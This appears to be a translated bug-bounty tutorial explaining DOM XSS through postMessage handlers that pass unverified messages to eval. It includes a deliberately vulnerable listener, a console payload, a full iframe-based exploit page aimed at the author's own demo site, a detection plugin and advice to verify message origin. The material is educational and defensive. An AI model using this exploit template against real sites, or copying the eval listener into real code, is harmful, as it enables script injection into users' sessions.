The topic this time is dom-xss where postMessage does not verify the source of the message, leading to malicious code injection. Since few people pay attention to this type of injection, because the difficulty of mining is moderate, certain javascript code audit capabilities are required, and the vulnerability level is not high. , resulting in many domestic SRCs having cross-domain message transmission xss injection vulnerabilities. Smaller SRCs will ignore them, but large SRCs will accept such vulnerabilities. The highest bounty I found last year was 1250 soft sister coins. For xss-level vulnerabilities, the reward is quite generous.
What is postMessage?
GPT answered like this
Ai is Ai, it may be a bit abstract to explain Mo De's feelings, let me make some sense.
First go to the simple demo1.html
<html><title>dom-xss show time</title><body><h1>演示</h1><script>// 接收方页面window.addEventListener("message", function(event) {console.log("有人约我了！他对我说:",event.data)var message = event.data;eval(message)});</script></body></html>
This code adds the message event monitoring function, its role is to monitor messages from other domains, and use the eval method to process this message.
Application scenario:
a.com and b.com belong to different domains. Now it is necessary to nest the page of b.com under a.com and implement message transmission. What message should be transmitted? For example, a.com tells b.com to jump to the login page of b.com, and postMessage comes in handy at this time.
The principle may be a bit annoying to you, and now I will directly teach you how to dig this kind of loophole.
Vulnerability recurrence
1. Open demo1.html, open F12 of the browser, set a breakpoint on the eval(message) line of code, and enter the code in the console: postMessage("alert('beautiful boy')", "*")
At this time, add the parameter meaning of postMessage:
postMessage(message, targetOrigin)Generally, you only need to modify the two parameters message and targetOrigin. When the targetOrigin is an asterisk, it means that the origin for receiving the message is not specified, and all domains are wildcarded.
After entering the code, press Enter, the breakpoint is stuck at this time, the message event receives the message and executes eval, and a window pops up.
Someone will say, isn't this self-xss?
In fact, some src audits once regarded this as self-xss, maybe they have never seen it before, our last exp:
Attack scenario:
https://attacker.captainxu.repl.co, used to mount exp, the code is as follows:
<!DOCTYPE html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width"><title>攻击站点</title><link href="style.css" rel="stylesheet" type="text/css" /></head><h1>Exp页面</h1><body><iframe id="target"></iframe><script>var target = document.getElementById("target");target.addEventListener('load', () => {target.contentWindow.postMessage('alert("靓仔")', '*')})target.src = "https://target.captainxu.repl.co"</script></body></html>
https://target.captainxu.repl.co, the code of the vulnerable website
is as follows:
<html><title>dom-xss show time</title><body><h1>漏洞网站</h1><script>// 接收方页面window.addEventListener("message", function (event) {console.log("有人约我了！他对我说:", event.data)var message = event.data;eval(message)});</script></body></html>
The above effect is that the attacker uses iframe to nest the target site, and then the attacker injects malicious code into the target through postMessage.
Vulnerability mining skills
How to dig out such a relatively deep hidden loophole, here is a Google browser plug-in written by a foreign white hat:
https://github.com/fransr/postMessage-tracker
After installation, as long as the current page creates a message event listener , the plugin will locate its code.
But please keep in mind that plug-ins are only auxiliary, and cannot directly find vulnerabilities. To discover vulnerabilities, you still need to audit javascript code.
Vulnerability Protection
Vulnerability protection is also relatively simple. Generally, it is to verify the origin of the message source. For example, the source code of a.com only receives messages from b.com, and does not process any messages that are not from b.com. As shown below
If you see the origin verification, you can ignore it directly, and sometimes there will be a bypass, and analyze the specific situation.
Idea upgrade
Ever wondered, can this type of vulnerability be detected in batches?
The answer is of course yes.
But you need to use a high-level javascript syntax tree (AST) to achieve. I have written a plug-in, but the effect is not very obvious, so I thought of another method, which is to use regular expressions to simply and roughly detect whether the keyword message exists in the source code, and if it exists, verify it manually. This approach often yields unexpected rewards.
Well, accept ~~~~~ work! ! !